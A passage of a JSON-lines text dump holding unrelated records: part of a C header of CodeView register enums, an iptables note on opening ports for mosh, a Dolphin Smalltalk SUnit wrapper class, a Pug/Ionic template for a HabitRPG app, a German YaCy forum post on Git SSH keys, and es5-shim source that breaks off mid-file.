CV_REG_SS,\n CV_AMD64_DS = CV_REG_DS,\n CV_AMD64_FS = CV_REG_FS,\n CV_AMD64_GS = CV_REG_GS,\n CV_AMD64_FLAGS = CV_REG_FLAGS,\n CV_AMD64_RIP = CV_REG_EIP,\n CV_AMD64_EFLAGS = CV_REG_EFLAGS,\n\n /* */\n CV_AMD64_TEMP = CV_REG_TEMP,\n CV_AMD64_TEMPH = CV_REG_TEMPH,\n CV_AMD64_QUOTE = CV_REG_QUOTE,\n CV_AMD64_PCDR3 = CV_REG_PCDR3, /* this includes PCDR4 to PCDR7 */\n CV_AMD64_CR0 = CV_REG_CR0, /* this includes CR1 to CR4 */\n CV_AMD64_DR0 = CV_REG_DR0, /* this includes DR1 to DR7 */\n /* */\n\n CV_AMD64_GDTR = CV_REG_GDTR,\n CV_AMD64_GDTL = CV_REG_GDTL,\n CV_AMD64_IDTR = CV_REG_IDTR,\n CV_AMD64_IDTL = CV_REG_IDTL,\n CV_AMD64_LDTR = CV_REG_LDTR,\n CV_AMD64_TR = CV_REG_TR,\n\n CV_AMD64_PSEUDO1 = CV_REG_PSEUDO1, /* this includes Pseudo02 to Pseudo09 */\n CV_AMD64_ST0 = CV_REG_ST0, /* this includes ST1 to ST7 */\n CV_AMD64_CTRL = CV_REG_CTRL,\n CV_AMD64_STAT = CV_REG_STAT,\n CV_AMD64_TAG = CV_REG_TAG,\n CV_AMD64_FPIP = CV_REG_FPIP,\n CV_AMD64_FPCS = CV_REG_FPCS,\n CV_AMD64_FPDO = CV_REG_FPDO,\n CV_AMD64_FPDS = CV_REG_FPDS,\n CV_AMD64_ISEM = CV_REG_ISEM,\n CV_AMD64_FPEIP = CV_REG_FPEIP,\n CV_AMD64_FPEDO = CV_REG_FPEDO,\n CV_AMD64_MM0 = CV_REG_MM0, /* this includes MM1 to MM7 */\n CV_AMD64_XMM0 = CV_REG_XMM0, /* this includes XMM1 to XMM7 */\n CV_AMD64_XMM00 = CV_REG_XMM00,\n CV_AMD64_XMM0L = CV_REG_XMM0L, /* this includes XMM1L to XMM7L */\n CV_AMD64_XMM0H = CV_REG_XMM0H, /* this includes XMM1H to XMM7H */\n CV_AMD64_MXCSR = CV_REG_MXCSR,\n CV_AMD64_EDXEAX = CV_REG_EDXEAX,\n CV_AMD64_EMM0L = CV_REG_EMM0L,\n CV_AMD64_EMM0H = CV_REG_EMM0H,\n CV_AMD64_MM00 = CV_REG_MM00,\n CV_AMD64_MM01 = CV_REG_MM01,\n CV_AMD64_MM10 = CV_REG_MM10,\n CV_AMD64_MM11 = CV_REG_MM11,\n CV_AMD64_MM20 = CV_REG_MM20,\n CV_AMD64_MM21 = CV_REG_MM21,\n CV_AMD64_MM30 = CV_REG_MM30,\n CV_AMD64_MM31 = CV_REG_MM31,\n CV_AMD64_MM40 = CV_REG_MM40,\n CV_AMD64_MM41 = CV_REG_MM41,\n CV_AMD64_MM50 = CV_REG_MM50,\n CV_AMD64_MM51 = CV_REG_MM51,\n CV_AMD64_MM60 = CV_REG_MM60,\n CV_AMD64_MM61 = CV_REG_MM61,\n CV_AMD64_MM70 = CV_REG_MM70,\n CV_AMD64_MM71 = CV_REG_MM71,\n\n CV_AMD64_XMM8 = 252, /* this includes XMM9 to XMM15 */\n\n CV_AMD64_RAX = 328,\n CV_AMD64_RBX = 329,\n CV_AMD64_RCX = 330,\n CV_AMD64_RDX = 331,\n CV_AMD64_RSI = 332,\n CV_AMD64_RDI = 333,\n CV_AMD64_RBP = 334,\n CV_AMD64_RSP = 335,\n\n CV_AMD64_R8 = 336,\n CV_AMD64_R9 = 337,\n CV_AMD64_R10 = 338,\n CV_AMD64_R11 = 339,\n CV_AMD64_R12 = 340,\n CV_AMD64_R13 = 341,\n CV_AMD64_R14 = 342,\n CV_AMD64_R15 = 343,\n\n /* Wine extension */\n CV_ARM64_NOREG = CV_REG_NONE,\n CV_ARM64_X0 = 10, /* this includes X0 to X30 */\n CV_ARM64_SP = 41,\n CV_ARM64_PC = 42,\n CV_ARM64_PSTATE = 43,\n};\n\ntypedef enum\n{\n THUNK_ORDINAL_NOTYPE,\n THUNK_ORDINAL_ADJUSTOR,\n THUNK_ORDINAL_VCALL,\n THUNK_ORDINAL_PCODE,\n THUNK_ORDINAL_LOAD \n} THUNK_ORDINAL;\n\ntypedef enum CV_call_e\n{\n CV_CALL_NEAR_C,\n CV_CALL_FAR_C,\n CV_CALL_NEAR_PASCAL,\n CV_CALL_FAR_PASCAL,\n CV_CALL_NEAR_FAST,\n CV_CALL_FAR_FAST,\n CV_CALL_SKIPPED,\n CV_CALL_NEAR_STD,\n CV_CALL_FAR_STD,\n CV_CALL_NEAR_SYS,\n CV_CALL_FAR_SYS,\n CV_CALL_THISCALL,\n CV_CALL_MIPSCALL,\n CV_CALL_GENERIC,\n CV_CALL_ALPHACALL,\n CV_CALL_PPCCALL,\n CV_CALL_SHCALL,\n CV_CALL_ARMCALL,\n CV_CALL_AM33CALL,\n CV_CALL_TRICALL,\n CV_CALL_SH5CALL,\n CV_CALL_M32RCALL,\n CV_CALL_RESERVED,\n} CV_call_e;\n"} +{"text": "# Iptables\nIptables is the port configuration tool for linux.\n\n## Persisting iptables rules\nIptables does not persist rules by default. To persist them we must install a\ntool called `iptables-persistent`.\n\n```sh\n$ sudo apt-get install iptables-persistent\n$ sudo service iptables-persistent start\n```\n\n## Open ports for mosh\n```sh\n$ sudo iptables -I INPUT 1 -p udp --dport 60000:61000 -j ACCEPT\n```\n\n## See Also\n- https://www.digitalocean.com/community/tutorials/how-to-install-and-use-mosh-on-a-vps\n- https://www.digitalocean.com/community/tutorials/how-to-set-up-a-firewall-using-iptables-on-ubuntu-12-04\n"} +{"text": "\"Filed out from Dolphin Smalltalk 7\"!\r\n\r\nSUnitAbsWrapper subclass: #SUnitTestCaseWrapper\r\n\tinstanceVariableNames: ''\r\n\tclassVariableNames: ''\r\n\tpoolDictionaries: ''\r\n\tclassInstanceVariableNames: ''!\r\nSUnitTestCaseWrapper guid: (GUID fromString: '{3d7b400c-2a38-4ac3-a42b-7ccf511ca323}')!\r\nSUnitTestCaseWrapper comment: ''!\r\n!SUnitTestCaseWrapper categoriesForClass!Unclassified! !\r\n!SUnitTestCaseWrapper methodsFor!\r\n\r\nallTests\r\n\r\n\t^self testCase allTests!\r\n\r\ndebug\r\n\r\n\tself testCase debug!\r\n\r\nisFor: aTestCase withResult: aTestResult\r\n\r\n\t^self allTests anySatisfy: [ :each | each = aTestCase]!\r\n\r\nname\r\n\r\n\t^self model useDisplayNames\r\n\t\tifTrue: [self testCase displayName]\r\n\t\tifFalse: [self testCase name]\r\n!\r\n\r\nnumberCorrect\r\n\r\n\t^self model numberCorrectFor: self testCase!\r\n\r\nnumberErrors\r\n\r\n\t^self model numberErrorsFor: self testCase!\r\n\r\nnumberFailures\r\n\r\n\t^self model numberFailuresFor: self testCase!\r\n\r\nnumberNotYetRun\r\n\r\n\t^self model numberNotYetRunFor: self testCase!\r\n\r\nnumberTests\r\n\r\n\t^self model numberTestsIn: self testCase!\r\n\r\nselector\r\n\r\n\t^self testCase selector!\r\n\r\nstep\r\n\r\n\tself testCase step!\r\n\r\ntestCase\r\n\r\n\t^self subject!\r\n\r\ntestCase: anObject\r\n\r\n\tself subject: anObject! !\r\n!SUnitTestCaseWrapper categoriesFor: #allTests!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #debug!actions!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #isFor:withResult:!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #name!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #numberCorrect!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #numberErrors!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #numberFailures!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #numberNotYetRun!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #numberTests!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #selector!accessing!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #step!actions!public! !\r\n!SUnitTestCaseWrapper categoriesFor: #testCase!accessing!private! !\r\n!SUnitTestCaseWrapper categoriesFor: #testCase:!accessing!private! !\r\n\r\n!SUnitTestCaseWrapper class methodsFor!\r\n\r\nnewOn: aTestCase model: anSUnitBrowserModel\r\n\r\n\t^(self newOn: anSUnitBrowserModel)\r\n\t\ttestCase: aTestCase;\r\n\t\tyourself! !\r\n!SUnitTestCaseWrapper class categoriesFor: #newOn:model:!instantiating!public! !\r\n\r\n"} +{"text": "include ../node_modules/habitrpg/website/views/shared/mixins\ninclude ../node_modules/habitrpg/website/views/shared/avatar/index\ninclude ../node_modules/habitrpg/website/views/options/profile\ninclude ../node_modules/habitrpg/website/views/shared/modals/quest-rewards\ninclude ../node_modules/habitrpg/website/views/options/social/quests/index\ninclude app/avatar\ninclude app/list\ninclude app/details\ninclude app/about\ninclude app/profile\ninclude app/inventory\ninclude app/stable\ninclude app/settings\ninclude app/social\ninclude app/chat\ninclude app/guild\ninclude app/buygems\n\n- var sideMenuItems = {'tasks/habits':'Tasks','profile/avatar':'Profile','inventory/inventory':'Inventory','stable/pets':'Stable','social/tavern':'Social',purchase: 'Purchase Gems',settings:'Settings',about:'About'}\n\nscript(id='views/app.html',type='text/ng-template')\n ion-side-menus\n ion-pane(ion-side-menu-content)\n ion-nav-bar.bar-stable(align-title='center')\n .button.button-clear(ng-hide='hideBackButton()' ng-click='goBack()')\n i.icon.ion-chevron-left\n | {{getPreviousTitle() || 'Back'}}\n\n ion-nav-view(name='menuContent', animation='slide-left-right')\n ion-side-menu(side='left' ng-class='isIOS ? \"ios\" : \"\"')\n +avatar2(true)\n ion-content()\n ion-list\n each v,k in sideMenuItems\n ion-item(nav-clear, menu-close, href='#/app/#{k}', ng-if=\"!(isIOS && '#{k}'=='purchase')\")\n //-img(ng-src='assets/sidebar-icon-#{k}.png')\n | #{v}\n\n//-\n #wrapper(ng-controller='MenuCtrl')\n .appStatusArea\n input.appOnlineToggle(type='button', value='Online: {{settings.online}}', ng-click='User.online(!settings.online)')\n | |\n output.queueLengthReporter {{queueLength()}}\n\n\nscript(id='views/app.modals.killswitch.html',type='text/ng-template')\n .modal\n ion-header-bar\n h1.title Error\n ion-content\n .padding\n {{killswitchMessage}}\n .padding\n a.button.button-block.button-stable(href=storeUrl) Go to App Store\n"} +{"text": "YaCy Coding & Architektur • Re: Problem mit Git push (gitorious.org)\n====================================================================\n\nDate: 2014-06-13 06:21:28\n\ndu musst natürlich den id\\_rsa.pub nehmen, deinen öffentlichen\nSchlüssel, nicht deinen privaten!\\\ngitorious funktioniert problemlos und das ganze ist auch kein\ngitorious-Problem. Du kannst sowieso deinen clone überall hosten wo du\nwillst, das ist ja das gute an git. Sogar wenn du dein yacy clone auf\neinem vserver einfach per ssh hostest könnte man daraus einen merge (ins\nYaCy main) machen.\n\nStatistik: Verfasst von\n[Orbiter](http://forum.yacy-websuche.de/memberlist.php?mode=viewprofile&u=2)\n--- Fr Jun 13, 2014 5:21 am\n\n------------------------------------------------------------------------\n"} +{"text": "/*!\n * https://github.com/es-shims/es5-shim\n * @license es5-shim Copyright 2009-2015 by contributors, MIT License\n * see https://github.com/es-shims/es5-shim/blob/master/LICENSE\n */\n\n// vim: ts=4 sts=4 sw=4 expandtab\n\n// Add semicolon to prevent IIFE from being passed as argument to concatenated code.\n;\n\n// UMD (Universal Module Definition)\n// see https://github.com/umdjs/umd/blob/master/templates/returnExports.js\n(function (root, factory) {\n 'use strict';\n\n /* global define, exports, module */\n if (typeof define === 'function' && define.amd) {\n // AMD. Register as an anonymous module.\n define(factory);\n } else if (typeof exports === 'object') {\n // Node. Does not work with strict CommonJS, but\n // only CommonJS-like enviroments that support module.exports,\n // like Node.\n module.exports = factory();\n } else {\n // Browser globals (root is window)\n root.returnExports = factory();\n }\n}(this, function () {\n /**\n * Brings an environment as close to ECMAScript 5 compliance\n * as is possible with the facilities of erstwhile engines.\n *\n * Annotated ES5: http://es5.github.com/ (specific links below)\n * ES5 Spec: http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf\n * Required reading: http://javascriptweblog.wordpress.com/2011/12/05/extending-javascript-natives/\n */\n\n // Shortcut to an often accessed properties, in order to avoid multiple\n // dereference that costs universally. This also holds a reference to known-good\n // functions.\n var $Array = Array;\n var ArrayPrototype = $Array.prototype;\n var $Object = Object;\n var ObjectPrototype = $Object.prototype;\n var $Function = Function;\n var FunctionPrototype = $Function.prototype;\n var $String = String;\n var StringPrototype = $String.prototype;\n var $Number = Number;\n var NumberPrototype = $Number.prototype;\n var array_slice = ArrayPrototype.slice;\n var array_splice = ArrayPrototype.splice;\n var array_push = ArrayPrototype.push;\n var array_unshift = ArrayPrototype.unshift;\n var array_concat = ArrayPrototype.concat;\n var array_join = ArrayPrototype.join;\n var call = FunctionPrototype.call;\n var apply = FunctionPrototype.apply;\n var max = Math.max;\n var min = Math.min;\n\n // Having a toString local variable name breaks in Opera so use to_string.\n var to_string = ObjectPrototype.toString;\n\n /* global Symbol */\n /* eslint-disable one-var-declaration-per-line, no-redeclare, max-statements-per-line */\n var hasToStringTag = typeof Symbol === 'function' && typeof Symbol.toStringTag === 'symbol';\n var isCallable; /* inlined from https://npmjs.com/is-callable */ var fnToStr = Function.prototype.toString, constructorRegex = /^\\s*class /, isES6ClassFn = function isES6ClassFn(value) { try { var fnStr = fnToStr.call(value); var singleStripped = fnStr.replace(/\\/\\/.*\\n/g, ''); var multiStripped = singleStripped.replace(/\\/\\*[.\\s\\S]*\\*\\//g, ''); var spaceStripped = multiStripped.replace(/\\n/mg, ' ').replace(/ {2}/g, ' '); return constructorRegex.test(spaceStripped); } catch (e) { return false; /* not a function */ } }, tryFunctionObject = function tryFunctionObject(value) { try { if (isES6ClassFn(value)) { return false; } fnToStr.call(value); return true; } catch (e) { return false; } }, fnClass = '[object Function]', genClass = '[object GeneratorFunction]', isCallable = function isCallable(value) { if (!value) { return false; } if (typeof value !== 'function' && typeof value !== 'object') { return false; } if (hasToStringTag) { return tryFunctionObject(value); } if (isES6ClassFn(value)) { return false; } var strClass = to_string.call(value); return strClass === fnClass || strClass === genClass; };\n\n var isRegex; /* inlined from https://npmjs.com/is-regex */ var regexExec = RegExp.prototype.exec, tryRegexExec = function tryRegexExec(value) { try { regexExec.call(value); return true; } catch (e) { return false; } }, regexClass = '[object RegExp]'; isRegex = function isRegex(value) { if (typeof value !== 'object') { return false; } return hasToStringTag ? tryRegexExec(value) : to_string.call(value) === regexClass; };\n var isString; /* inlined from https://npmjs.com/is-string */ var strValue = String.prototype.valueOf, tryStringObject = function tryStringObject(value) { try { strValue.call(value); return true; } catch (e) { return false; } }, stringClass = '[object String]'; isString = function isString(value) { if (typeof value === 'string') { return true; } if (typeof value !== 'object') { return false; } return hasToStringTag ? tryStringObject(value) : to_string.call(value) === stringClass; };\n /* eslint-enable one-var-declaration-per-line, no-redeclare, max-statements-per-line */\n\n /* inlined from http://npmjs.com/define-properties */\n var supportsDescriptors = $Object.defineProperty && (function () {\n try {\n var obj = {};\n $Object.defineProperty(obj, 'x', { enumerable: false, value: obj });\n for (var _ in obj) { // jscs:ignore disallowUnusedVariables\n return false;\n }\n return obj.x === obj;\n } catch (e) { /* this is ES3 */\n return false;\n }\n }());\n var defineProperties = (function (has) {\n // Define configurable, writable, and non-enumerable props\n // if they don't exist.\n var defineProperty;\n if (supportsDescriptors) {\n defineProperty = function (object, name, method, forceAssign) {\n if (!forceAssign && (name in object)) {\n return;\n }\n $Object.defineProperty(object, name, {\n configurable: true,\n enumerable: false,\n writable: true,\n value: method\n });\n };\n } else {\n defineProperty = function (object, name, method, forceAssign) {\n if (!forceAssign && (name in object)) {\n return;\n }\n object[name] = method;\n };\n }\n return function defineProperties(object, map, forceAssign) {\n for (var name in map) {\n if (has.call(map, name)) {\n defineProperty(object, name, map[name], forceAssign);\n }\n }\n };\n }(ObjectPrototype.hasOwnProperty));\n\n //\n // Util\n // ======\n //\n\n /* replaceable with https://npmjs.com/package/es-abstract /helpers/isPrimitive */\n var isPrimitive = function isPrimitive(input) {\n var type = typeof input;\n return input === null || (type !== 'object' && type !== 'function');\n };\n\n var isActualNaN = $Number.isNaN || function isActualNaN(x) {\n return x !== x;\n };\n\n var ES = {\n // ES5 9.4\n // http://es5.github.com/#x9.4\n // http://jsperf.com/to-integer\n /* replaceable with https://npmjs.com/package/es-abstract ES5.ToInteger */\n ToInteger: function ToInteger(num) {\n var n = +num;\n if (isActualNaN(n)) {\n n = 0;\n } else if (n !== 0 && n !== (1 / 0) && n !== -(1 / 0)) {\n n = (n > 0 || -1) * Math.floor(Math.abs(n));\n }\n return n;\n },\n\n /* replaceable with https://npmjs.com/package/es-abstract ES5.ToPrimitive */\n ToPrimitive: function ToPrimitive(input) {\n var val, valueOf, toStr;\n if (isPrimitive(input)) {\n return input;\n }\n valueOf = input.valueOf;\n if (isCallable(valueOf)) {\n val = valueOf.call(input);\n if (isPrimitive(val)) {\n return val;\n }\n }\n toStr = input.toString;\n if (isCallable(toStr)) {\n val = toStr.call(input);\n if (isPrimitive(val)) {\n return val;\n }\n }\n throw new TypeError();\n },\n\n // ES5 9.9\n // http://es5.github.com/#x9.9\n /* replaceable with https://npmjs.com/package/es-abstract ES5.ToObject */\n ToObject: function (o) {\n if (o == null) { // this matches both null and undefined\n throw new TypeError(\"can't convert \" + o + ' to object');\n }\n return $Object(o);\n },\n\n /* replaceable with https://npmjs.com/package/es-abstract ES5.ToUint32 */\n ToUint32: function ToUint32(x) {\n return x >>> 0;\n }\n };\n\n //\n // Function\n // ========\n //\n\n // ES-5 15.3.4.5\n // http://es5.github.com/#x15.3.4.5\n\n var Empty = function Empty() {};\n\n defineProperties(FunctionPrototype, {\n bind: function bind(that) { // .length is 1\n // 1. Let Target be the this value.\n var target = this;\n // 2. If IsCallable(Target) is false, throw a TypeError exception.\n if (!isCallable(target)) {\n throw new TypeError('Function.prototype.bind called on incompatible ' + target);\n }\n // 3. Let A be a new (possibly empty) internal list of all of the\n // argument values provided after thisArg (arg1, arg2 etc), in order.\n // XXX slicedArgs will stand in for \"A\" if used\n var args = array_slice.call(arguments, 1); // for normal call\n // 4. Let F be a new native ECMAScript object.\n // 11. Set the [[Prototype]] internal property of F to the standard\n // built-in Function prototype object as specified in 15.3.3.1.\n // 12. Set the [[Call]] internal property of F as described in\n // 15.3.4.5.1.\n // 13. Set the [[Construct]] internal property of F as described in\n // 15.3.4.5.2.\n // 14. Set the [[HasInstance]] internal property of F as described in\n // 15.3.4.5.3.\n var bound;\n var binder = function () {\n\n if (this instanceof bound) {\n // 15.3.4.5.2 [[Construct]]\n // When the [[Construct]] internal method of a function object,\n // F that was created using the bind function is called with a\n // list of arguments ExtraArgs, the following steps are taken:\n // 1. Let target be the value of F's [[TargetFunction]]\n // internal property.\n // 2. If target has no [[Construct]] internal method, a\n // TypeError exception is thrown.\n // 3. Let boundArgs be the value of F's [[BoundArgs]] internal\n // property.\n // 4. Let args be a new list containing the same values as the\n // list boundArgs in the same order followed by the same\n // values as the list ExtraArgs in the same order.\n // 5. Return the result of calling the [[Construct]] internal\n // method of target providing args as the arguments.\n\n var result = apply.call(\n target,\n this,\n array_concat.call(args, array_slice.call(arguments))\n );\n if ($Object(result) === result) {\n return result;\n }\n return this;\n\n } else {\n // 15.3.4.5.1 [[Call]]\n // When the [[Call]] internal method of a function object, F,\n // which was created using the bind function is called with a\n // this value and a list of arguments ExtraArgs, the following\n // steps are taken:\n // 1. Let boundArgs be the value of F's [[BoundArgs]] internal\n // property.\n // 2. Let boundThis be the value of F's [[BoundThis]] internal\n // property.\n // 3. Let target be the value of F's [[TargetFunction]] internal\n // property.\n // 4. Let args be a new list containing the same values as the\n // list boundArgs in the same order followed by the same\n // values as the list ExtraArgs in the same order.\n // 5. Return the result of calling the [[Call]] internal method\n // of target providing boundThis as the this value and\n // providing args as the arguments.\n\n // equiv: target.call(this, ...boundArgs, ...args)\n return apply.call(\n target,\n that,\n array_concat.call(args, array_slice.call(arguments))\n );\n\n }\n\n };\n\n // 15. If the [[Class]] internal property of Target is \"Function\", then\n // a. Let L be the length property of Target minus the length of A.\n // b. Set the length own property of F to either 0 or L, whichever is\n // larger.\n // 16. Else set the length own property of F to 0.\n\n var boundLength = max(0, target.length - args.length);\n\n // 17. Set the attributes of the length own property of F to the values\n // specified in 15.3.5.1.\n var boundArgs = [];\n for (var i = 0; i < boundLength; i++) {\n array_push.call(boundArgs, '$' + i);\n }\n\n // XXX Build a dynamic function with desired amount of arguments is the only\n // way to set the length property of a function.\n // In environments where Content Security Policies enabled (Chrome extensions,\n // for ex.) all use of eval or Function costructor throws an exception.\n // However in all of these environments Function.prototype.bind exists\n // and so this code will never be executed.\n bound = $Function('binder', 'return function (' + array_join.call(boundArgs, ',') + '){ return binder.apply(this, arguments); }')(binder);\n\n if (target.prototype) {\n Empty.prototype = target.prototype;\n bound.prototype = new Empty();\n // Clean up dangling references.\n Empty.prototype = null;\n }\n\n // TODO\n // 18. Set the [[Extensible]] internal property of F to true.\n\n // TODO\n // 19. Let thrower be the [[ThrowTypeError]] function Object (13.2.3).\n // 20. Call the [[DefineOwnProperty]] internal method of F with\n // arguments \"caller\", PropertyDescriptor {[[Get]]: thrower, [[Set]]:\n // thrower, [[Enumerable]]: false, [[Configurable]]: false}, and\n // false.\n // 21. Call the [[DefineOwnProperty]] internal method of F with\n // arguments \"arguments\", PropertyDescriptor {[[Get]]: thrower,\n // [[Set]]: thrower, [[Enumerable]]: false, [[Configurable]]: false},\n // and false.\n\n // TODO\n // NOTE Function objects created using Function.prototype.bind do not\n // have a prototype property or the [[Code]], [[FormalParameters]], and\n // [[Scope]] internal properties.\n // XXX can't delete prototype in pure-js.\n\n // 22. Return F.\n return bound;\n }\n });\n\n // _Please note: Shortcuts are defined after `Function.prototype.bind` as we\n // use it in defining shortcuts.\n var owns = call.bind(ObjectPrototype.hasOwnProperty);\n var toStr = call.bind(ObjectPrototype.toString);\n var arraySlice = call.bind(array_slice);\n var arraySliceApply = apply.bind(array_slice);\n var strSlice = call.bind(StringPrototype.slice);\n var strSplit = call.bind(StringPrototype.split);\n var strIndexOf = call.bind(StringPrototype.indexOf);\n var pushCall = call.bind(array_push);\n var isEnum = call.bind(ObjectPrototype.propertyIsEnumerable);\n var arraySort = call.bind(ArrayPrototype.sort);\n\n //\n // Array\n // =====\n //\n\n var isArray = $Array.isArray || function isArray(obj) {\n return toStr(obj) === '[object Array]';\n };\n\n // ES5 15.4.4.12\n // http://es5.github.com/#x15.4.4.13\n // Return len+argCount.\n // [bugfix, ielt8]\n // IE < 8 bug: [].unshift(0) === undefined but should be \"1\"\n var hasUnshiftReturnValueBug = [].unshift(0) !== 1;\n defineProperties(ArrayPrototype, {\n unshift: function () {\n array_unshift.apply(this, arguments);\n return this.length;\n }\n }, hasUnshiftReturnValueBug);\n\n // ES5 15.4.3.2\n // http://es5.github.com/#x15.4.3.2\n // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/isArray\n defineProperties($Array, { isArray: isArray });\n\n // The IsCallable() check in the Array functions\n // has been replaced with a strict check on the\n // internal class of the object to trap cases where\n // the provided function was actually a regular\n // expression literal, which in V8 and\n // JavaScriptCore is a typeof \"function\". Only in\n // V8 are regular expression literals permitted as\n // reduce parameters, so it is desirable in the\n // general case for the shim to match the more\n // strict and common behavior of rejecting regular\n // expressions.\n\n // ES5 15.4.4.18\n // http://es5.github.com/#x15.4.4.18\n // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/array/forEach\n\n // Check failure of by-index access of string characters (IE < 9)\n // and failure of `0 in boxedString` (Rhino)\n var boxedString = $Object('a');\n var splitString = boxedString[0] !== 'a' || !(0 in boxedString);\n\n var properlyBoxesContext = function properlyBoxed(method) {\n // Check node 0.6.21 bug where third parameter is not boxed\n var properlyBoxesNonStrict = true;\n var properlyBoxesStrict = true;\n var threwException = false;\n if (method) {\n try {\n method.call('foo', function (_, __, context) {\n if (typeof context !== 'object') {\n properlyBoxesNonStrict = false;\n }\n });\n\n method.call([1], function () {\n 'use strict';\n\n properlyBoxesStrict = typeof this === 'string';\n }, 'x');\n } catch (e) {\n threwException = true;\n }\n }\n return !!method && !threwException && properlyBoxesNonStrict && properlyBoxesStrict;\n };\n\n defineProperties(ArrayPrototype, {\n forEach: function forEach(callbackfn/*, thisArg*/) {\n var object = ES.ToObject(this);\n var self = splitString && isString(this) ? strSplit(this, '') : object;\n var i = -1;\n var length = ES.ToUint32(self.length);\n var T;\n if (arguments.length > 1) {\n T = arguments[1];\n }\n\n // If no callback function or if callback is not a callable function\n if (!isCallable(callbackfn)) {\n throw new TypeError('Array.prototype.forEach callback must be a function');\n }\n\n while (++i < length) {\n if (i in self) {\n // Invoke the callback function with call, passing arguments:\n // context, property value, property key, thisArg object\n if (typeof T === 'undefined') {\n callbackfn(self[i], i, object);\n } else {\n callbackfn.call(T, self[i], i, object);\n }\n }\n }\n }\n }, !properlyBoxesContext(ArrayPrototype.forEach));\n\n // ES5 15.4.4.19\n // http://es5.github.com/#x15.4.4.19\n // https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Objects/Array/map\n defineProperties(ArrayPrototype, {\n map: function map(callbackfn/*, thisArg*/) {\n var object = ES.ToObject(this);\n var self = splitString && isString(this) ? strSplit(this, '') : object;\n var length = ES.ToUint32(self.length);\n var result = $Array(length);\n var T;\n if (arguments.length > 1) {\n T = arguments[1];\n }\n\n // If no callback function or if callback is not a callable function\n if (!isCallable(callbackfn)) {\n throw new TypeError('Array.prototype.map callback must be a function');\n }\n\n for (var i = 0; i < length; i++) {\n if (i in self) {\n if (typeof T === 'undefined') {\n result[i] = callbackfn(self[i], i, object);\n } else {\n result[i] = callbackfn.call(T, self[i], i, object);\n }\n }\n }\n return result;\n }\n }, !properlyBoxesContext(ArrayPrototype.map));\n\n // ES5 15.4.4.20\n // http://es5.github.com/#x15.4.4.20\n // https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Objects/Array/filter\n defineProperties(ArrayPrototype, {\n filter: function filter(callbackfn/*, thisArg*/) {\n var object = ES.ToObject(this);\n var self = splitString && isString(this) ? strSplit(this, '') : object;\n var length = ES.ToUint32(self.length);\n var result = [];\n var value;\n var T;\n if (arguments.length > 1) {\n T = arguments[1];\n }\n\n // If no callback function or if callback is not a callable function\n if (!isCallable(callbackfn)) {\n throw new TypeError('Array.prototype.filter callback must be a function');\n }\n\n for (var i = 0; i < length; i++) {\n if (i in self) {\n value = self[i];\n if (typeof T === 'undefined' ? callbackfn(value, i, object) : callbackfn.call(T, value, i, object)) {\n pushCall(result, value);\n }\n }\n }\n return result;\n }\n }, !properlyBoxesContext(ArrayPrototype.filter));\n\n // ES5 15.4.4.16\n // http://es5.github.com/#x15.4.4.16\n // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/every\n defineProperties(ArrayPrototype, {\n every: function every(callbackfn/*, thisArg*/) {\n var object = ES.ToObject(this);\n var self = splitString && isString(this) ? strSplit(this, '') : object;\n var length = ES.ToUint32(self.length);\n var T;\n if (arguments.length > 1) {\n T = arguments[1];\n }\n\n // If no callback function or if callback is not a callable function\n if (!isCallable(callbackfn)) {\n throw new TypeError('Array.prototype.every callback must be a function');\n }\n\n for (var i = 0; i < length; i++) {\n if (i in self && !(typeof T === 'undefined' ? callbackfn(self[i], i, object) : callbackfn.call(T, self[i], i, object))) {\n return false;\n }\n }\n return true;\n }\n }, !properlyBoxesContext(ArrayPrototype.every));\n\n // ES5 15.4.4.17\n // http://es5.github.com/#x15.4.4.17\n // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/some\n defineProperties(ArrayPrototype, {\n some: function some(callbackfn/*, thisArg */) {\n var object = ES.ToObject(this);\n var self = splitString && isString(this) ? strSplit(this, '') : object;\n var length = ES.ToUint32(self.length);\n var T;\n if (arguments.length > 1) {\n T = arguments[1];\n }\n\n // If no callback function or if callback is not a callable function\n if (!isCallable(callbackfn)) {\n throw new TypeError('Array.prototype.some callback must be a function');\n }\n\n for (var i = 0; i < length; i++) {\n if (i in self && (typeof T === 'undefined' ? callbackfn(self[i], i, object) : callbackfn.call(T, self[i], i, object))) {\n return true;\n }\n }\n return false;\n }\n }, !properlyBoxesContext(ArrayPrototype.some));\n\n // ES5 15.4.4.21\n // http://es5.github.com/#x15.4.4.21\n // https://developer.mozilla.org/en/Core_JavaScript_1.5_Reference/Objects/Array/reduce\n var reduceCoercesToObject = false;\n if (ArrayPrototype.reduce) {\n reduceCoercesToObject = typeof ArrayPrototype.reduce.call('es5', function (_, __, ___, list) {\n return list;\n }) === 'object';\n }\n defineProperties(ArrayPrototype, {\n reduce: function reduce(callbackfn/*, initialValue*/) {\n var object = ES.ToObject(this);\n var self = splitString && isString(this) ? strSplit(this, '') : object;\n var length = ES.ToUint32(self.length);\n\n // If no callback function or if callback is not a callable function\n if (!isCallable(callbackfn)) {\n throw new TypeError('Array.prototype.reduce callback must be a function');\n }\n\n // no value to return if no initial value and an empty array\n if (length === 0 && arguments.length === 1) {\n throw new TypeError('reduce of empty array with no initial value');\n }\n\n var i = 0;\n var result;\n if (arguments.length >= 2) {\n result = arguments[1];\n } else {\n do {\n if (i in self) {\n result = self[i++];\n break;\n }\n\n // if array contains no values, no initial value to return\n if (++i >= length) {\n throw new TypeError('reduce of empty array with no initial value');\n }\n } while (true);\n }\n\n for (; i < length; i++) {\n if (i in self) {\n result = callbackfn(result, self[i], i, object);\n }\n }\n\n return result;\n }\n }, !reduceCoercesToObject);\n\n // ES5 15.4.4.22\n // 